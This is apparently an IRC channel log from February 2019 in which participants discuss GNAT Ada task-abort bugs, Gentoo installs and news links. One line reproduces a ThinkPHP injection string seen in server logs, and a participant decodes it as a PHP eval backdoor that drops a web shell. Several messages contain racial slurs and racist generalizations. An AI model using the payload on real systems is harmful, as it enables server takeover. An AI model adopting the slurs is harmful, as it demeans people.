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02:09 feedbot http://bimbo.club/2019/02/philosophical-transactions-for-the-months-of-april-may-and-june-1716-part-i/ << Bimbo.Club -- Philosophical Transactions. For the months of April, May and June, 1716. - Part I.
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02:47 diana_coman http://btcbase.org/log/2019-02-11#1894896 -> ha, apparently you caught old hosting precisely when they messed up; thank you for reporting it, I'll have to sort it out (I had redirection set up from dianacoman->ossasepia since I'm sure it's not only my internal links but atm it's broken, will fix)
02:47 a111 Logged on 2019-02-11 01:33 hanbot: diana_coman fwiw i ran into a few broken internal links on ossasepia today on account of their still pointing to dianacoman.com, see http://ossasepia.com/2018/03/08/eucrypt-compilation-sheet/ fo' instance.
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05:39 auctionbot Buy order # 1040 has ENDED: 500 Wired Filthy Fiats (WU is fine) SOLD by jurov for 154mn ecu. Attn: BingoBoingo
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09:14 phf i saw the x11 thread, will respond in a day or two once i'm on a more reliable internet
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10:09 asciilifeform phf et al : 1 of asciilifeform's ancient backburner crackpotteries is... an iron x terminal. ( these -- existed, but would be imho useful to have a proper one, that 1) runs off rom 2) can drive N large displays )
10:10 asciilifeform i.e. fully an' properly separate rasterism from the comp per se, never buy video cards again..
10:10 asciilifeform imho the traditional kitchen-toilet system is inherently unhygienic
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10:28 asciilifeform diana_coman: i found in my notes from 'programming of hell' a possible pill for the async stop thing, will report once i verify that it actually cures , on the actual gnat
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10:53 mircea_popescu asciilifeform much later tho
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11:16 mircea_popescu meanwhile in latest http://btcbase.org/log/2018-08-01#1838630 lulz : http://p.bvulpes.com/pastes/qx6lq/?raw=true
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11:16 a111 Logged on 2018-08-01 03:07 douchebag: Also the security firm I'm working on is expected to pull at least a half million dollars by december
11:27 mircea_popescu bonus securities : http://p.bvulpes.com/pastes/1N8AA/?raw=true
11:28 BingoBoingo Ah, they never end
11:32 mircea_popescu meanwhile in antiqua from five years ago, http://trilema.com/2014/ca-tot-s-a-tras-tot-s-a-fumat-tot-s-a-baut-tot-cum-e-peste-tot-la-fel-ca-peste-tot/#selection-75.93-75.115
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11:37 asciilifeform guten morgen mircea_popescu !
11:38 mircea_popescu heya
11:38 asciilifeform http://btcbase.org/log/2019-02-11#1895021 << i saw nearly half MB of these in dulap log not long ago. iirc they're pill for ciscoisms
11:38 a111 Logged on 2019-02-11 16:16 mircea_popescu: meanwhile in latest http://btcbase.org/log/2018-08-01#1838630 lulz : http://p.bvulpes.com/pastes/qx6lq/?raw=true
11:39 asciilifeform http://btcbase.org/log/2019-02-11#1895025 << ha. speaking of which, the particle thrower is to arrive today.
11:39 a111 Logged on 2019-02-11 16:32 mircea_popescu: meanwhile in antiqua from five years ago, http://trilema.com/2014/ca-tot-s-a-tras-tot-s-a-fumat-tot-s-a-baut-tot-cum-e-peste-tot-la-fel-ca-peste-tot/#selection-75.93-75.115
11:40 asciilifeform will prolly take asciilifeform a coupla days to hoist it on the pedestal and test, tho, conveyor is currently packed
11:41 mircea_popescu aha.
11:41 asciilifeform s=index/\think\view\driver\Php/display&content=${@print(eval(phpinfo().fputs(fopen('lx.php','w'),base64_decode('Q25sdVh1bjw/cGhwIEBldmFsKCRfUE9TVFsnbHgnXSk7Pz4='))))} << lulzy
11:41 mircea_popescu you know ? VERY much an exercise in http://btcbase.org/log/2017-07-18#1686299
11:41 a111 Logged on 2017-07-18 22:58 asciilifeform: whaack is quite likely thinking of the bulk of the b00k, which consists of blockcipher liquishit which is complicated for no reason at all other than the religion where 'it is confusing to ME, author, and therefore Must Be Hard To Break'
11:42 mircea_popescu "i feel this is security-flavoured!"
11:42 asciilifeform payload, btw, is CnluXun<?php @eval($_POST['lx']);?>
11:42 asciilifeform fwiw.
11:42 mircea_popescu longer more complex incantation has better chances at communing with the spirit.
11:42 asciilifeform it's a snoar, straight trigger for pre-emplaced booby, decorated to get past some idjit ids thing somewhere
11:42 mircea_popescu a LARGE portion of why "computer security" is SUCH a popular activity has to do with the profoundly african mentality of most... well, africans, to put it plainly.
11:43 mircea_popescu "you mean i have to sit by magic stone all day come up with incantations ? SIGN ME UO!!!"
11:43 asciilifeform mircea_popescu: there's 2 'symbiotic' sets of africans involved, 'voodoo' and 'hoodoo' practitioners, if you will
11:43 asciilifeform erry bit equally african.
11:44 mircea_popescu aha. but they're both very... well, in Mr. Oover's terms, not white men.
11:47 asciilifeform white man, if legend is to be believed, built the temple walls , but in living memory nobody's seen'em beneath the monkey shit.
11:48 asciilifeform ( if one were to ask monkey -- it's shit allthewaydown(tm) )
12:01 mircea_popescu white man also didn't build straw & cardbox airplanes.
12:07 asciilifeform speaking of these -- did anybody ever properly catalogue all known various attempts to 'replicate daedalus' ?
12:07 asciilifeform y'know, where derp jumps from belltower with 'wings'
12:08 mircea_popescu you want a list of all the urban sidewalk pizza ?
12:08 asciilifeform specifically-'flight'-flavoured
12:08 asciilifeform i dun think there were that many recorded ( can only think of 2 right off memory )
12:12 asciilifeform !#s холоп Никита
12:12 a111 0 results for "холоп Никита", http://btcbase.org/log-search?q=%D1%85%D0%BE%D0%BB%D0%BE%D0%BF%20%D0%9D%D0%B8%D0%BA%D0%B8%D1%82%D0%B0
12:12 asciilifeform hrm, apparently not in l0gz.
12:13 asciilifeform 16th c.
12:13 asciilifeform supposedly didn't even splat. coupla would-be imitators (as late as 18th) did, tho
12:14 asciilifeform ( what's worse than 'straw & cardboard airplane' ? straw&cardboard that ~worx~, for 1 flight, and for no -- accessible to orc -- logical reason )
12:16 mats http://btcbase.org/log/2018-11-27#1875548 << if anyone wants to read #b-otc logs, shinohai scraped mid-2011 to early 2018, before gdpr day http://btcinfo.sdf.org/uploads/btcotclogs.tar.gz
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12:16 a111 Logged on 2018-11-27 21:18 mircea_popescu: Transcript for #bitcoin-otc 2018/11/27 IRC logs have been disabled due to the EU General Data Protection Regulation (GDPR). © 2010 — 2018 BitcoinStats
12:17 asciilifeform in 'nikita the peon' incident, is remembered largely because, per the chronicle, ivan iv was present, and clapped, but proclaimed 'it is unbecoming of man to imitate the birds'
12:17 * asciilifeform brb, the crane truck is here
12:17 mircea_popescu mats now if you could devise some method to film alf for the next coupla hours...
12:27 asciilifeform aaand it's done.
12:27 asciilifeform lol
12:28 asciilifeform mircea_popescu: only ~70kg, but slippery fucker, wrapped in kilometre of cellophane
12:28 mircea_popescu there's always next time.
12:30 asciilifeform mircea_popescu: it aint a 'sexy' looking item, really, resembles mini fridge , only with buttons/lcd thing
12:33 asciilifeform https://archive.is/MjEpi << dealer specs, ftr
12:34 asciilifeform i dun have the ccd option tho, for some reason these cost weight in gold
12:35 asciilifeform ( as it was -- coupla hundy, + same for the trucker's fee )
12:36 asciilifeform iirc most of the mass is pb in the cabinet.
12:44 asciilifeform shinohai: lost yer key or wat ..?
12:50 shinohai Nah why u ask ?
12:59 asciilifeform * shinohai is now known as derp
12:59 asciilifeform * derp is now known as shinohai
12:59 asciilifeform ?
13:00 asciilifeform 'mmmmrrrghmmmm!!' 'are you sucking on a gag??' 'nah why didjaask'
13:01 shinohai oh that .... I'm doing some bot testing.
13:01 asciilifeform lolk
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14:19 feedbot http://qntra.net/2019/02/british-mum-arrested-at-home-for-gendering-fellow-online/ << Qntra -- British Mum Arrested At Home For Gendering Fellow Online
14:25 trinque deadnaming eh. there's a new one for me.
14:28 trinque curious things, these factual realities that evaporate the moment random bum says otherwise.
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14:29 BingoBoingo Notice I didn't use the Pantsuit term. If anything we ought to preserve 'deadnaming' in our namespace for characters like bitcoin_charlie, Nefario, Taaki, Toomim, et al. Actual dead names whether or not the corresponding meat recieves oxygen.
14:30 trinque republic already had it, as "damnatio memoriae"
14:31 BingoBoingo Still, there's a benefit in having synonyms to erode their namespace
14:31 * trinque grants
14:34 BingoBoingo So long as there is resistance to what Pantsuit means by deadnaming and clarity as to what the Republic means, they gotta expend some of their infinite hitpoints of idiocy fighting the sorts of socialists like Anglin who want a different sort of socialist femstate
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15:26 shinohai http://btcbase.org/log/2019-02-11#1895061 <<< Ya know, I was gonna delete those out of uploads folder, but considering they might be useful for historical purposes I'll save them to http://btcinfo.sdf.org/library/
15:26 a111 Logged on 2019-02-11 17:16 mats: http://btcbase.org/log/2018-11-27#1875548 << if anyone wants to read #b-otc logs, shinohai scraped mid-2011 to early 2018, before gdpr day http://btcinfo.sdf.org/uploads/btcotclogs.tar.gz
15:27 shinohai (I also have copy of all those gpg keys I scraped from tardstalk too)
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15:35 asciilifeform lol i took a look at these, whole parallel world where '2011 4evah'
15:36 asciilifeform whole battalion of derps fighting over pocket change, bloviating over 'security' and 'p2p', etc
15:38 asciilifeform shinohai: mirrored nao at dulap, http://nosuchlabs.com/pub/liquishit/btcotclogs.tar.gz .
15:39 shinohai sweet.
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16:40 jurov BingoBoingo: pls pgp me the wire details
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17:59 BingoBoingo jurov: http://p.bvulpes.com/pastes/w47qv/?raw=true
18:00 BingoBoingo Yes account number is relatively short. This is a small country with few accounts to fill the account number space.
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19:49 BingoBoingo trinque: deedbot appears down
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20:05 asciilifeform diana_coman, mircea_popescu , et al : results of experiment & gnat src archaeology below :
20:05 asciilifeform sooo went to experiment, and found that not only does diana_coman's async abort dunwork on ave1gnat , but even ordinary timeout abort behaves peculiarly (per the std) :
20:05 asciilifeform http://p.bvulpes.com/pastes/WoRXQ/?raw=true << empty loop. timeout : fails
20:06 asciilifeform http://p.bvulpes.com/pastes/svUIo/?raw=true << same, but with 'delay 0.0' -- succeeds. variant of same with an i/o call : also succeeds
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20:07 asciilifeform so then went to the standard docs. annex D ~in fact does~ mandate support for mircea_popescu-style 'halon switch, motherfucker' aborts. so then went to find , does gnat implement ?
20:09 asciilifeform turns out that yes implements:
20:14 asciilifeform ln. 163 of s-tasini.adb ;
20:15 asciilifeform and in particular, ln. 1079 of s-taprop-linux.adb , which implements the pthread mechanics behind the gnat scheduler
20:16 asciilifeform nao clearly the thing is broken, it dun actually do what the standard demands. ( guess what else dunwork ? 'asynchronous select' , also required to work by the standard, and even within bounded time ) . nao remains to find wtf
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20:16 asciilifeform currently i suspect that adacorpse deliberately broke it, this is ~the~ pheature they use to peddle their 'pro' gnat (specifically advertised as 'support of real-time annex' )
20:18 asciilifeform diana_coman et al : meanwhile in useful debugologies : if you use gpr with gnatD flag , you get copies of the expanded sores of yer proggy
20:19 asciilifeform http://p.bvulpes.com/pastes/AOh7Z/?raw=true << example.
20:20 asciilifeform nao ideally would find where the fuck they broke the (implemented!!! in gnat) annex D Right Thing
20:21 asciilifeform http://www.loper-os.org/pub/ffa/gnatology/ave1gnat/index.htm << linked for the log. cross-indexing dunwork currently, as the damn thing aint a gpr project, but currently i dun have time to try to massage it into one , promises to be a week-long shitfest on its own
20:24 asciilifeform i'ma post moar detail as i find it, gotta recharge head 1st.
20:25 asciilifeform it may even be worth the sweat to excavate an older gnat and see whether similar.
20:25 asciilifeform i suspect this is gonna be a '1-line' patch, to fix. q is where..
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20:26 asciilifeform ( the thing ~contains~ pthread_kill ! but it dun get called for somereason. )
20:31 asciilifeform relatedly to entire subj, http://nosuchlabs.com/pub/warez/burns.djvu is the most readable ref i've found on the subj (of how the thing is supposed to work, that is , when actually worx )
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20:31 asciilifeform ( burns & wellings, '07 )
20:32 asciilifeform specifically ch. 9.
20:34 asciilifeform for total thread-completeness, there is a workaround that works, but it is imho ugly ( ada 'interrupts' package ), i'ma post example if mircea_popescu et al ask.
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20:37 * asciilifeform will return to this puzzler when returns.
20:48 asciilifeform hrm, also gotta add -- if the delay-powered self-destruct is made to work, then so will async killing (given as it dun have to be 'delay', can be triggered by 'entry', i.e. flag, just the same )
20:48 * asciilifeform bbl,meats
20:49 mod6 http://btcbase.org/log/2019-02-11#1894987 << no prob!
20:49 a111 Logged on 2019-02-11 03:15 asciilifeform: http://btcbase.org/log/2019-02-11#1894887 << i have not forgotten you, mod6 ! will grant wishes in the order lamp was rubbed, promise
20:51 mod6 http://btcbase.org/log/2019-02-11#1894999 << This is actually one thing that I have not tried, I had previously done it both ways with root & boot, as /dev/sda & /dev/sda3 respectively, and with UUIDs. However, this line in particular: 'append="root=/dev/sda3 console=ttyS0,115200n8 net.ifnames=0"' I should try the UUID with instead of /dev/sda3.
20:51 a111 Logged on 2019-02-11 03:53 trinque: yeah, I'm specifying root=/dev/sda3 in lilo; whereas if I specified root=UUID=D9FCABCA-1F52-4A84-9CB8-4898F8DEC6AE, oughta be able to boot properly even if drive enumeration changes. that'd be nice for the infectious/reproductive angle later.
20:52 mod6 (and the others with UUIDs at the same time. Who knows, maybe that's the thing. I'll try to setup tonight for another build.)
20:53 mod6 http://btcbase.org/log/2019-02-11#1895003 << re: So I didn't ever use a USB boot disk, I actually was just using the Live CD to do the chrooting/troubleshooting. But I did the `./bootstrap.sh` from the working gentoo environment.
20:53 a111 Logged on 2019-02-11 03:56 trinque: if it's the case that he left it as an external usb disk, looks like kernel didn't know the disk was there, so the kernel he builds would have to know of the usb chip he has.
20:54 mod6 The other weird thing is that 'usb hub' as shown in the kernel.debug file. I do own a USB hub, as I bought one to test multiple FGs at the same time, but it's been just sitting on my desk for weeks.
20:55 mod6 It's strange because this particular box has like 10 USB ports on it. 2 in the front of the chassis, and like 8 in the back. I wonder if it's like a special add-on thing, I was going to take some pictures for you all, but I need to get down there and do that yet tonight.
20:55 mod6 Anyway, 'tis all for now, thanks for the info.
21:01 asciilifeform mod6: all known usb chipsets have 'internal hub'
21:01 asciilifeform it's how the thing fans out to N jacks
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21:08 trinque yep, ^ is what I meant by usb hub
21:10 trinque there's of course a chip on your motherboard which wants its own driver
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22:03 mod6 Alright, well if the pictures are unnecessary, will just skip that part. About to hook up that 250Gb Disk to SATA2 and inflate a fresh cunt(oo) on there.
22:05 Mocky http://btcbase.org/log/2019-02-11#1894983 << I'm gonna reorder my list and move to wp first
22:05 a111 Logged on 2019-02-11 03:03 mircea_popescu: IF YOU LOVE ME YOU NEVER FORCE ME TO DO THIS SORTA THING!!!
22:10 mod6 ok CDROM power & SATA cable unplugged from SATA channel 2, and plugged into 250Gb WD SSD.
22:10 mod6 Booted back into Gentoo on SATA channel 1.
22:11 mod6 Will kick off the bootstrap.sh shortly.
22:25 mod6 http://p.bvulpes.com/pastes/JvAuR/?raw=true << Ok, zero'ing out /dev/sdb with 'dd', will run installer after that's complete.
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22:49 mircea_popescu http://btcbase.org/log/2019-02-11#1895085 << england's such a shithole by now, it's inconceivable man would visit without machine guns.
22:49 a111 Logged on 2019-02-11 19:28 trinque: curious things, these factual realities that evaporate the moment random bum says otherwise.
22:49 mircea_popescu much more sensible to vacation in somalia, at least the niggers there are respectful.
22:50 mircea_popescu http://btcbase.org/log/2019-02-11#1895093 <afaik those also saved by phuctor rite
22:50 a111 Logged on 2019-02-11 20:27 shinohai: (I also have copy of all those gpg keys I scraped from tardstalk too)
22:52 mircea_popescu http://btcbase.org/log/2019-02-12#1895110 << shooting an email to their list as well as anyone named to be involved at this point imo the right move. email shouild include description with loglinks of the matter.
22:52 a111 Logged on 2019-02-12 01:16 asciilifeform: nao clearly the thing is broken, it dun actually do what the standard demands. ( guess what else dunwork ? 'asynchronous select' , also required to work by the standard, and even within bounded time ) . nao remains to find wtf
22:52 mircea_popescu the gall of releasing non-standards compliant item needs not be passed over in silence.
22:53 asciilifeform mircea_popescu: i'ma article about it when i finish up raging
22:53 asciilifeform it's fuckinoutrageous
22:53 mircea_popescu sure thing.
22:53 mircea_popescu but -- email. must email them. all of them. their fucking support list, and every individual involved.
22:54 mircea_popescu then when they fail to respond, they get a default negrate.
22:54 asciilifeform will see what diana_coman dug out also, whoknows maybe i botched it somehow
22:54 mircea_popescu because EVERY SINGLE PERSON EVER INVOLVED WITH GNAT AT ALL ~~MUST~~~ apologize for this, to me, personally./
22:54 mircea_popescu that's the fucking cost of being a raging asshole.,
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22:55 mircea_popescu wanna be a man, then gotta be a man. for example, wanna be a restaurant maitre d', then you're stuck apologizing to the people that ordered 19 oz ny steak and got 1.5 oz cafeteria hoof cut. and so on. posturing brings with it the cost of sucking all the dick you earn the sucking of in the usual course of the business you're posturing with.
22:56 asciilifeform mircea_popescu: when you get'em tied to the flogging post, make'em pay for the http://btcbase.org/log/2018-10-26#1866266 also..
22:56 a111 Logged on 2018-10-26 02:14 asciilifeform: meanwhile, in gnat bugs : apparently ( and this is documented or mentioned nowhere ) : it is impossible to have a Ada.Finalization.Limited_Controlled type ANYWHERE inside a static library, unless it is generic all the way down (i.e. if the lib package is generic, any sub-packages must also be instantiated as generics )
22:56 mircea_popescu that got a pass because whatever, not so blatant.
22:57 asciilifeform i got an entire mmap lib that aint genesisable yet on acct of above
22:57 asciilifeform but sure.
22:57 mircea_popescu i can see your point, but what can you do.
22:57 mircea_popescu but yes, teh grievances pile doth climb.
22:58 mircea_popescu http://btcbase.org/log/2019-02-12#1895118 <<< 1 line patch that'll bring out the broken glass, and so on.\
22:58 a111 Logged on 2019-02-12 01:25 asciilifeform: i suspect this is gonna be a '1-line' patch, to fix. q is where..
22:59 mircea_popescu http://btcbase.org/log/2019-02-12#1895123 << maybe later. for now i'd much prefer a complete and thorough in-place solution, because rly now, if we're gonna use this, it's gotta work, not work-around.
22:59 a111 Logged on 2019-02-12 01:34 asciilifeform: for total thread-completeness, there is a workaround that works, but it is imho ugly ( ada 'interrupts' package ), i'ma post example if mircea_popescu et al ask.
22:59 asciilifeform i'ma document the fuckwaddery ( unless diana_coman beat me to it )
22:59 asciilifeform then can link to same .
23:01 mircea_popescu http://btcbase.org/log/2019-02-12#1895138 <<, precisely.
23:01 a111 Logged on 2019-02-12 02:01 asciilifeform: it's how the thing fans out to N jacks
23:04 mircea_popescu meanwhile in femstate alt-realities comedy goldmine, http://trilema.com/2011/rezultate-la-bacalaureat-sesiunea-iunie-2011-judetul-dolj/#comment-127802
23:05 asciilifeform lol! these!
23:05 mircea_popescu myeah
23:06 asciilifeform it aint any dumber than dmcaism tho
23:06 asciilifeform approx same thing..
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23:32 mod6 http://p.bvulpes.com/pastes/ht6ey/?raw=true << Ok, inflating /dev/sdb with cuntoo. Will report back more tomorrow after install is complete, and I update the lilo.conf via LiveCD chroot mount of cuntoo. Will post lilo.conf changes, and results.
23:32 mod6 g'night!
23:46 mircea_popescu asciilifeform it's dumber, schmuck's like "hi there, i r anon please delete my name". how fucking stupid does he need to be, "anon" is not listed there.
23:46 mircea_popescu dmca requires someone to register a claim, and they can actually be sued if it's fraudulent.
23:46 mircea_popescu which is worth $$$ for me.
23:48 * mircea_popescu likes nothing more than i think i know how to spell my own name innocents shooting dmca notices.
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